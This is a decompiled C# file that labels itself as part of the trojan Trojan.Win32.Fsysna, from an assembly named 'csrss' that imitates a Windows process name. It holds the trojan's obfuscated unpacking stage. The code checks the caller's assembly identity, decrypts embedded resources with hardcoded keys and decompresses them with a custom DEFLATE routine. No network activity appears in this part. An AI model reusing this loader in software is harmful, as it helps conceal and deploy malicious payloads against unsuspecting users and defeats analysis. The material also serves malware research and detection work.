MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0003/_0003.cs

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2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe
using \u0003;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0003
{
internal sealed class \u0003
{
public static byte[] \u0002([In] byte[] obj0)
{
Assembly callingAssembly = Assembly.GetCallingAssembly();
Assembly executingAssembly = Assembly.GetExecutingAssembly();
if ((object) callingAssembly != (object) Assembly.GetExecutingAssembly())
goto label_27;
label_8:
\u0003.\u0003.\u0007 obj1 = new \u0003.\u0003.\u0007(obj0);
byte[] numArray1 = new byte[0];
int num1 = obj1.\u0003();
if (num1 == 67324752)
{
short num2 = (short) obj1.\u0002();
int num3 = obj1.\u0002();
int num4 = obj1.\u0002();
if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8)
throw new FormatException("Wrong Header Signature");
obj1.\u0003();
obj1.\u0003();
obj1.\u0003();
int length = obj1.\u0003();
int count1 = obj1.\u0002();
int count2 = obj1.\u0002();
if (count1 > 0)
{
byte[] buffer = new byte[(int) checked ((uint) count1)];
obj1.Read(buffer, 0, count1);
}
if (count2 > 0)
{
byte[] buffer = new byte[(int) checked ((uint) count2)];
obj1.Read(buffer, 0, count2);
}
byte[] buffer1 = new byte[(int) checked ((uint) unchecked (obj1.Length - obj1.Position))];
obj1.Read(buffer1, 0, buffer1.Length);
\u0003.\u0003.\u0001 obj2 = new \u0003.\u0003.\u0001(buffer1);
numArray1 = new byte[(int) checked ((uint) length)];
obj2.\u0002(numArray1, 0, numArray1.Length);
}
else
{
int num5 = num1 >> 24;
if (num1 - (num5 << 24) != 8223355)
throw new FormatException("Unknown Header");
if (num5 == 1)
{
int length1 = obj1.\u0003();
numArray1 = new byte[(int) checked ((uint) length1)];
int num6;
for (int index = 0; index < length1; index += num6)
{
int length2 = obj1.\u0003();
num6 = obj1.\u0003();
byte[] buffer = new byte[(int) checked ((uint) length2)];
obj1.Read(buffer, 0, buffer.Length);
new \u0003.\u0003.\u0001(buffer).\u0002(numArray1, index, num6);
}
}
if (num5 == 2)
{
\u0002 obj3 = new \u0002();
byte[] numArray2 = new byte[8]
{
(byte) 65,
(byte) 110,
(byte) 25,
(byte) 220,
(byte) 62,
(byte) 165,
(byte) 97,
(byte) 53
};
byte[] numArray3 = new byte[8]
{
(byte) 12,
(byte) 111,
(byte) 216,
(byte) 76,
(byte) 137,
(byte) 90,
(byte) 15,
(byte) 208
};
byte[] numArray4 = obj3.\u0002(numArray2, numArray3, true).TransformFinalBlock(obj0, 4, obj0.Length - 4);
obj3.\u0002();
numArray1 = \u0003.\u0003.\u0002(numArray4);
}
if (num5 == 3)
{
\u0001 obj4 = new \u0001();
byte[] numArray5 = new byte[16]
{
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1
};
byte[] numArray6 = new byte[16]
{
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2
};
byte[] numArray7 = obj4.\u0002(numArray5, numArray6, true).TransformFinalBlock(obj0, 4, obj0.Length - 4);
obj4.\u0002();
numArray1 = \u0003.\u0003.\u0002(numArray7);
}
}
obj1.Close();
return numArray1;
label_27:
byte[] publicKey1 = executingAssembly.GetName().GetPublicKey();
byte[] publicKey2 = callingAssembly.GetName().GetPublicKey();
if (publicKey2 == null != (publicKey1 == null))
return (byte[]) null;
if (publicKey2 != null)
{
for (int index = 0; index < publicKey2.Length; ++index)
{
if ((int) publicKey2[index] != (int) publicKey1[index])
return (byte[]) null;
}
goto label_8;
}
else
goto label_8;
}
internal sealed class \u0001
{
private static int[] \u0001 = new int[29]
{
3,
4,
5,
6,
7,
8,
9,
10,
11,
13,
15,
17,
19,
23,
27,
31,
35,
43,
51,
59,
67,
83,
99,
115,
131,
163,
195,
227,
258
};
private static int[] \u0002 = new int[29]
{
0,
0,
0,
0,
0,
0,
0,
0,
1,
1,
1,
1,
2,
2,
2,
2,
3,
3,
3,
3,
4,
4,
4,
4,
5,
5,
5,
5,
0
};
private static int[] \u0003 = new int[30]
{
1,
2,
3,
4,
5,
7,
9,
13,
17,
25,
33,
49,
65,
97,
129,
193,
257,
385,
513,
769,
1025,
1537,
2049,
3073,
4097,
6145,
8193,
12289,
16385,
24577
};
private static int[] \u0004 = new int[30]
{
0,
0,
0,
0,
1,
1,
2,
2,
3,
3,
4,
4,
5,
5,
6,
6,
7,
7,
8,
8,
9,
9,
10,
10,
11,
11,
12,
12,
13,
13
};
private int \u0001;
private int \u0002;
private int \u0003;
private int \u0004;
private int \u0005;
private bool \u0001;
private \u0003.\u0003.\u0002 \u0001;
private \u0003.\u0003.\u0003 \u0001;
private \u0003.\u0003.\u0005 \u0001;
private \u0003.\u0003.\u0004 \u0001;
private \u0003.\u0003.\u0004 \u0002;
public \u0001([In] byte[] obj0)
{
this.\u0001 = new \u0003.\u0003.\u0002();
this.\u0001 = new \u0003.\u0003.\u0003();
this.\u0001 = 2;
this.\u0001.\u0002(obj0, 0, obj0.Length);
}
private bool \u0002()
{
int num1 = this.\u0001.\u0002();
while (num1 >= 258)
{
switch (this.\u0001)
{
case 7:
int num2;
while (((num2 = this.\u0001.\u0002(this.\u0001)) & -256) == 0)
{
this.\u0001.\u0002(num2);
if (--num1 < 258)
return true;
}
if (num2 < 257)
{
if (num2 < 0)
return false;
this.\u0002 = (\u0003.\u0003.\u0004) null;
this.\u0001 = (\u0003.\u0003.\u0004) null;
this.\u0001 = 2;
return true;
}
this.\u0003 = \u0003.\u0003.\u0001.\u0001[num2 - 257];
this.\u0002 = \u0003.\u0003.\u0001.\u0002[num2 - 257];
goto case 8;
case 8:
if (this.\u0002 > 0)
{
this.\u0001 = 8;
int num3 = this.\u0001.\u0002(this.\u0002);
if (num3 < 0)
return false;
this.\u0001.\u0002(this.\u0002);
this.\u0003 += num3;
}
this.\u0001 = 9;
goto case 9;
case 9:
int index = this.\u0002.\u0002(this.\u0001);
if (index < 0)
return false;
this.\u0004 = \u0003.\u0003.\u0001.\u0003[index];
this.\u0002 = \u0003.\u0003.\u0001.\u0004[index];
goto case 10;
case 10:
if (this.\u0002 > 0)
{
this.\u0001 = 10;
int num4 = this.\u0001.\u0002(this.\u0002);
if (num4 < 0)
return false;
this.\u0001.\u0002(this.\u0002);
this.\u0004 += num4;
}
this.\u0001.\u0002(this.\u0003, this.\u0004);
num1 -= this.\u0003;
this.\u0001 = 7;
continue;
default:
continue;
}
}
return true;
}
private bool \u0003()
{
switch (this.\u0001)
{
case 2:
if (this.\u0001)
{
this.\u0001 = 12;
return false;
}
int num = this.\u0001.\u0002(3);
if (num < 0)
return false;
this.\u0001.\u0002(3);
if ((num & 1) != 0)
this.\u0001 = true;
switch (num >> 1)
{
case 0:
this.\u0001.\u0002();
this.\u0001 = 3;
break;
case 1:
this.\u0001 = \u0003.\u0003.\u0004.\u0001;
this.\u0002 = \u0003.\u0003.\u0004.\u0002;
this.\u0001 = 7;
break;
case 2:
this.\u0001 = new \u0003.\u0003.\u0005();
this.\u0001 = 6;
break;
}
return true;
case 3:
if ((this.\u0005 = this.\u0001.\u0002(16)) < 0)
return false;
this.\u0001.\u0002(16);
this.\u0001 = 4;
goto case 4;
case 4:
if (this.\u0001.\u0002(16) < 0)
return false;
this.\u0001.\u0002(16);
this.\u0001 = 5;
goto case 5;
case 5:
this.\u0005 -= this.\u0001.\u0002(this.\u0001, this.\u0005);
if (this.\u0005 != 0)
return !this.\u0001.\u0002();
this.\u0001 = 2;
return true;
case 6:
if (!this.\u0001.\u0002(this.\u0001))
return false;
this.\u0001 = this.\u0001.\u0002();
this.\u0002 = this.\u0001.\u0003();
this.\u0001 = 7;
goto case 7;
case 7:
case 8:
case 9:
case 10:
return this.\u0002();
case 12:
return false;
default:
return false;
}
}
public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = 0;
do
{
if (this.\u0001 != 11)
goto label_5;
label_2:
continue;
label_5:
int num2 = this.\u0001.\u0002(obj0, obj1, obj2);
obj1 += num2;
num1 += num2;
obj2 -= num2;
if (obj2 != 0)
goto label_2;
else
goto label_1;
}
while (this.\u0003() || this.\u0001.\u0003() > 0 && this.\u0001 != 11);
goto label_3;
label_1:
return num1;
label_3:
return num1;
}
}
internal sealed class \u0002
{
private byte[] \u0001;
private int \u0001 = 0;
private int \u0002 = 0;
private uint \u0001 = 0;
private int \u0003 = 0;
public int \u0002([In] int obj0)
{
if (this.\u0003 < obj0)
goto label_3;
label_2:
return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1));
label_3:
if (this.\u0001 == this.\u0002)
return -1;
\u0003.\u0003.\u0002 obj1 = this;
int num1 = (int) obj1.\u0001;
byte[] numArray = this.\u0001;
\u0003.\u0003.\u0002 obj2 = this;
int num2;
int num3 = num2 = obj2.\u0001;
obj2.\u0001 = num2 + 1;
int index = num3;
int num4 = ((int) numArray[index] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue) << 8) << this.\u0003;
obj1.\u0001 = (uint) (num1 | num4);
this.\u0003 += 16;
goto label_2;
}
public void \u0002([In] int obj0)
{
this.\u0001 >>= obj0;
this.\u0003 -= obj0;
}
[SpecialName]
public int \u0002() => this.\u0003;
[SpecialName]
public int \u0003() => this.\u0002 - this.\u0001 + (this.\u0003 >> 3);
public void \u0002()
{
this.\u0001 >>= this.\u0003 & 7;
this.\u0003 &= -8;
}
[SpecialName]
public bool \u0002() => this.\u0001 == this.\u0002;
public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = 0;
while (this.\u0003 > 0 && obj2 > 0)
{
obj0[obj1++] = (byte) this.\u0001;
this.\u0001 >>= 8;
this.\u0003 -= 8;
obj2--;
++num1;
}
if (obj2 == 0)
return num1;
int num2 = this.\u0002 - this.\u0001;
if (obj2 > num2)
obj2 = num2;
Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2);
this.\u0001 += obj2;
if ((this.\u0001 - this.\u0002 & 1) != 0)
{
this.\u0001 = (uint) this.\u0001[this.\u0001++] & (uint) byte.MaxValue;
this.\u0003 = 8;
}
return num1 + obj2;
}
public void \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (this.\u0001 < this.\u0002)
throw new InvalidOperationException();
int num = obj1 + obj2;
if (0 > obj1 || obj1 > num || num > obj0.Length)
throw new ArgumentOutOfRangeException();
if ((obj2 & 1) != 0)
{
this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003);
this.\u0003 += 8;
}
this.\u0001 = obj0;
this.\u0001 = obj1;
this.\u0002 = num;
}
}
internal sealed class \u0003
{
private static int \u0001 = 32768;
private static int \u0002 = \u0003.\u0003.\u0003.\u0001 - 1;
private byte[] \u0001 = new byte[(int) checked ((uint) \u0003.\u0003.\u0003.\u0001)];
private int \u0003 = 0;
private int \u0004 = 0;
public void \u0002([In] int obj0)
{
\u0003.\u0003.\u0003 obj1 = this;
int num1;
int num2 = num1 = obj1.\u0004;
obj1.\u0004 = num1 + 1;
if (num2 == \u0003.\u0003.\u0003.\u0001)
throw new InvalidOperationException();
byte[] numArray = this.\u0001;
\u0003.\u0003.\u0003 obj2 = this;
int num3;
int num4 = num3 = obj2.\u0003;
obj2.\u0003 = num3 + 1;
int index = num4;
int num5 = (int) (byte) obj0;
numArray[index] = (byte) num5;
this.\u0003 &= \u0003.\u0003.\u0003.\u0002;
}
private void \u0002([In] int obj0, [In] int obj1, [In] int obj2)
{
while (obj1-- > 0)
{
byte[] numArray = this.\u0001;
\u0003.\u0003.\u0003 obj = this;
int num1;
int num2 = num1 = obj.\u0003;
obj.\u0003 = num1 + 1;
int index = num2;
int num3 = (int) this.\u0001[obj0++];
numArray[index] = (byte) num3;
this.\u0003 &= \u0003.\u0003.\u0003.\u0002;
obj0 &= \u0003.\u0003.\u0003.\u0002;
}
}
public void \u0002([In] int obj0, [In] int obj1)
{
if ((this.\u0004 += obj0) > \u0003.\u0003.\u0003.\u0001)
throw new InvalidOperationException();
int sourceIndex = this.\u0003 - obj1 & \u0003.\u0003.\u0003.\u0002;
int num = \u0003.\u0003.\u0003.\u0001 - obj0;
if (sourceIndex <= num && this.\u0003 < num)
{
if (obj0 <= obj1)
{
Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0);
this.\u0003 += obj0;
}
else
{
while (obj0-- > 0)
this.\u0001[this.\u0003++] = this.\u0001[sourceIndex++];
}
}
else
this.\u0002(sourceIndex, obj0, obj1);
}
public int \u0002([In] \u0003.\u0003.\u0002 obj0, [In] int obj1)
{
obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0003.\u0001 - this.\u0004), obj0.\u0003());
int num1 = \u0003.\u0003.\u0003.\u0001 - this.\u0003;
int num2;
if (obj1 > num1)
{
num2 = obj0.\u0002(this.\u0001, this.\u0003, num1);
if (num2 == num1)
num2 += obj0.\u0002(this.\u0001, 0, obj1 - num1);
}
else
num2 = obj0.\u0002(this.\u0001, this.\u0003, obj1);
this.\u0003 = this.\u0003 + num2 & \u0003.\u0003.\u0003.\u0002;
this.\u0004 += num2;
return num2;
}
public int \u0002() => \u0003.\u0003.\u0003.\u0001 - this.\u0004;
public int \u0003() => this.\u0004;
public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = this.\u0003;
if (obj2 <= this.\u0004)
goto label_7;
else
goto label_6;
label_1:
int num2 = obj2;
int length = obj2 - num1;
if (length > 0)
{
Array.Copy((Array) this.\u0001, \u0003.\u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length);
obj1 += length;
obj2 = num1;
}
Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
this.\u0004 -= num2;
if (this.\u0004 < 0)
throw new InvalidOperationException();
return num2;
label_6:
obj2 = this.\u0004;
goto label_1;
label_7:
num1 = this.\u0003 - this.\u0004 + obj2 & \u0003.\u0003.\u0003.\u0002;
goto label_1;
}
}
internal sealed class \u0004
{
private static int \u0001 = 15;
private short[] \u0001;
public static \u0003.\u0003.\u0004 \u0001;
public static \u0003.\u0003.\u0004 \u0002;
static \u0004()
{
byte[] numArray1 = new byte[288];
int num1 = 0;
while (num1 < 144)
numArray1[num1++] = (byte) 8;
while (num1 < 256)
numArray1[num1++] = (byte) 9;
while (num1 < 280)
numArray1[num1++] = (byte) 7;
while (num1 < 288)
numArray1[num1++] = (byte) 8;
\u0003.\u0003.\u0004.\u0001 = new \u0003.\u0003.\u0004(numArray1);
byte[] numArray2 = new byte[32];
int num2 = 0;
while (num2 < 32)
numArray2[num2++] = (byte) 5;
\u0003.\u0003.\u0004.\u0002 = new \u0003.\u0003.\u0004(numArray2);
}
public \u0004([In] byte[] obj0) => this.\u0002(obj0);
private void \u0002([In] byte[] obj0)
{
int[] numArray1 = new int[(int) checked ((uint) unchecked (\u0003.\u0003.\u0004.\u0001 + 1))];
int[] numArray2 = new int[(int) checked ((uint) unchecked (\u0003.\u0003.\u0004.\u0001 + 1))];
for (int index1 = 0; index1 < obj0.Length; ++index1)
{
int num1 = (int) obj0[index1];
if (num1 <= 0)
continue;
int[] numArray3;
int index2;
int num2 = (numArray3 = numArray1)[(IntPtr) (index2 = num1)] + 1;
numArray3[index2] = num2;
}
int num3 = 0;
int length = 512;
for (int index = 1; index <= \u0003.\u0003.\u0004.\u0001; ++index)
{
numArray2[index] = num3;
num3 += numArray1[index] << 16 - index;
if (index >= 10)
{
int num4 = numArray2[index] & 130944;
int num5 = num3 & 130944;
length += num5 - num4 >> 16 - index;
}
}
this.\u0001 = new short[(int) checked ((uint) length)];
int num6 = 512;
for (int index3 = \u0003.\u0003.\u0004.\u0001; index3 >= 10; --index3)
{
int num7 = num3 & 130944;
num3 -= numArray1[index3] << 16 - index3;
for (int index4 = num3 & 130944; index4 < num7; index4 += 128)
{
this.\u0001[(int) \u0003.\u0003.\u0006.\u0002(index4)] = (short) (-num6 << 4 | index3);
num6 += 1 << index3 - 9;
}
}
for (int index5 = 0; index5 < obj0.Length; ++index5)
{
int index6 = (int) obj0[index5];
if (index6 != 0)
{
int num8 = numArray2[index6];
int index7 = (int) \u0003.\u0003.\u0006.\u0002(num8);
if (index6 <= 9)
{
do
{
this.\u0001[index7] = (short) (index5 << 4 | index6);
index7 += 1 << index6;
}
while (index7 < 512);
}
else
{
int num9 = (int) this.\u0001[index7 & 511];
int num10 = 1 << (num9 & 15);
int num11 = -(num9 >> 4);
do
{
this.\u0001[num11 | index7 >> 9] = (short) (index5 << 4 | index6);
index7 += 1 << index6;
}
while (index7 < num10);
}
numArray2[index6] = num8 + (1 << 16 - index6);
}
}
}
public int \u0002([In] \u0003.\u0003.\u0002 obj0)
{
int index;
if ((index = obj0.\u0002(9)) < 0)
{
int num1 = obj0.\u0002();
int num2 = (int) this.\u0001[obj0.\u0002(num1)];
if (num2 < 0 || (num2 & 15) > num1)
return -1;
obj0.\u0002(num2 & 15);
return num2 >> 4;
}
int num3;
if ((num3 = (int) this.\u0001[index]) < 0)
{
int num4 = -(num3 >> 4);
int num5 = num3 & 15;
int num6;
if ((num6 = obj0.\u0002(num5)) >= 0)
{
int num7 = (int) this.\u0001[num4 | num6 >> 9];
obj0.\u0002(num7 & 15);
return num7 >> 4;
}
int num8 = obj0.\u0002();
int num9 = obj0.\u0002(num8);
int num10 = (int) this.\u0001[num4 | num9 >> 9];
if ((num10 & 15) > num8)
return -1;
obj0.\u0002(num10 & 15);
return num10 >> 4;
}
obj0.\u0002(num3 & 15);
return num3 >> 4;
}
}
internal sealed class \u0005
{
private static readonly int[] \u0001 = new int[3]
{
3,
3,
11
};
private static readonly int[] \u0002 = new int[3]
{
2,
3,
7
};
private byte[] \u0001;
private byte[] \u0002;
private \u0003.\u0003.\u0004 \u0001;
private int \u0001;
private int \u0002;
private int \u0003;
private int \u0004;
private int \u0005;
private int \u0006;
private byte \u0001;
private int \u0007;
private static readonly int[] \u0003 = new int[19]
{
16,
17,
18,
0,
8,
7,
9,
6,
10,
5,
11,
4,
12,
3,
13,
2,
14,
1,
15
};
public bool \u0002([In] \u0003.\u0003.\u0002 obj0)
{
while (true)
{
switch (this.\u0001)
{
case 0:
this.\u0002 = obj0.\u0002(5);
if (this.\u0002 >= 0)
{
this.\u0002 += 257;
obj0.\u0002(5);
this.\u0001 = 1;
goto case 1;
}
else
goto label_1;
case 1:
this.\u0003 = obj0.\u0002(5);
if (this.\u0003 >= 0)
{
++this.\u0003;
obj0.\u0002(5);
this.\u0005 = this.\u0002 + this.\u0003;
this.\u0002 = new byte[(int) checked ((uint) this.\u0005)];
this.\u0001 = 2;
goto case 2;
}
else
goto label_3;
case 2:
this.\u0004 = obj0.\u0002(4);
if (this.\u0004 >= 0)
{
this.\u0004 += 4;
obj0.\u0002(4);
this.\u0001 = new byte[19];
this.\u0007 = 0;
this.\u0001 = 3;
goto case 3;
}
else
goto label_6;
case 3:
for (; this.\u0007 < this.\u0004; ++this.\u0007)
{
int num = obj0.\u0002(3);
if (num < 0)
return false;
obj0.\u0002(3);
this.\u0001[\u0003.\u0003.\u0005.\u0003[this.\u0007]] = (byte) num;
}
this.\u0001 = new \u0003.\u0003.\u0004(this.\u0001);
this.\u0001 = (byte[]) null;
this.\u0007 = 0;
this.\u0001 = 4;
goto case 4;
case 4:
int num1;
while (((num1 = this.\u0001.\u0002(obj0)) & -16) == 0)
{
this.\u0002[this.\u0007++] = this.\u0001 = (byte) num1;
if (this.\u0007 == this.\u0005)
return true;
}
if (num1 >= 0)
{
if (num1 >= 17)
this.\u0001 = (byte) 0;
this.\u0006 = num1 - 16;
this.\u0001 = 5;
goto case 5;
}
else
goto label_17;
case 5:
int num2 = \u0003.\u0003.\u0005.\u0002[this.\u0006];
int num3 = obj0.\u0002(num2);
if (num3 >= 0)
{
obj0.\u0002(num2);
int num4 = num3 + \u0003.\u0003.\u0005.\u0001[this.\u0006];
while (num4-- > 0)
this.\u0002[this.\u0007++] = this.\u0001;
if (this.\u0007 != this.\u0005)
{
this.\u0001 = 4;
continue;
}
goto label_27;
}
else
goto label_22;
default:
continue;
}
}
label_1:
return false;
label_3:
return false;
label_6:
return false;
label_17:
return false;
label_22:
return false;
label_27:
return true;
}
public \u0003.\u0003.\u0004 \u0002()
{
byte[] destinationArray = new byte[(int) checked ((uint) this.\u0002)];
Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002);
return new \u0003.\u0003.\u0004(destinationArray);
}
public \u0003.\u0003.\u0004 \u0003()
{
byte[] destinationArray = new byte[(int) checked ((uint) this.\u0003)];
Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003);
return new \u0003.\u0003.\u0004(destinationArray);
}
}
internal sealed class \u0006
{
private static int \u0001 = 16384;
private static int \u0002 = 286;
private static int \u0003 = 30;
private static int \u0004 = 19;
private static int \u0005 = 16;
private static int \u0006 = 17;
private static int \u0007 = 18;
private static int \u0008 = 256;
private static int[] \u0001 = new int[19]
{
16,
17,
18,
0,
8,
7,
9,
6,
10,
5,
11,
4,
12,
3,
13,
2,
14,
1,
15
};
private static byte[] \u0001 = new byte[16]
{
(byte) 0,
(byte) 8,
(byte) 4,
(byte) 12,
(byte) 2,
(byte) 10,
(byte) 6,
(byte) 14,
(byte) 1,
(byte) 9,
(byte) 5,
(byte) 13,
(byte) 3,
(byte) 11,
(byte) 7,
(byte) 15
};
private static short[] \u0001 = new short[(int) checked ((uint) \u0003.\u0003.\u0006.\u0002)];
private static byte[] \u0002 = new byte[(int) checked ((uint) \u0003.\u0003.\u0006.\u0002)];
private static short[] \u0002;
private static byte[] \u0003;
public static short \u0002([In] int obj0) => (short) ((int) \u0003.\u0003.\u0006.\u0001[obj0 & 15] << 12 | (int) \u0003.\u0003.\u0006.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0003.\u0006.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0003.\u0006.\u0001[obj0 >> 12]);
static \u0006()
{
int index1;
for (index1 = 0; index1 < 144; \u0003.\u0003.\u0006.\u0002[index1++] = (byte) 8)
\u0003.\u0003.\u0006.\u0001[index1] = \u0003.\u0003.\u0006.\u0002(48 + index1 << 8);
for (; index1 < 256; \u0003.\u0003.\u0006.\u0002[index1++] = (byte) 9)
\u0003.\u0003.\u0006.\u0001[index1] = \u0003.\u0003.\u0006.\u0002(256 + index1 << 7);
for (; index1 < 280; \u0003.\u0003.\u0006.\u0002[index1++] = (byte) 7)
\u0003.\u0003.\u0006.\u0001[index1] = \u0003.\u0003.\u0006.\u0002(index1 - 256 << 9);
for (; index1 < \u0003.\u0003.\u0006.\u0002; \u0003.\u0003.\u0006.\u0002[index1++] = (byte) 8)
\u0003.\u0003.\u0006.\u0001[index1] = \u0003.\u0003.\u0006.\u0002(index1 - 88 << 8);
\u0003.\u0003.\u0006.\u0002 = new short[(int) checked ((uint) \u0003.\u0003.\u0006.\u0003)];
\u0003.\u0003.\u0006.\u0003 = new byte[(int) checked ((uint) \u0003.\u0003.\u0006.\u0003)];
for (int index2 = 0; index2 < \u0003.\u0003.\u0006.\u0003; ++index2)
{
\u0003.\u0003.\u0006.\u0002[index2] = \u0003.\u0003.\u0006.\u0002(index2 << 11);
\u0003.\u0003.\u0006.\u0003[index2] = (byte) 5;
}
}
}
internal sealed class \u0007 : MemoryStream
{
public int \u0002() => this.ReadByte() | this.ReadByte() << 8;
public int \u0003() => this.\u0002() | this.\u0002() << 16;
public \u0007([In] byte[] obj0)
: base(obj0, false)
{
}
}
}
}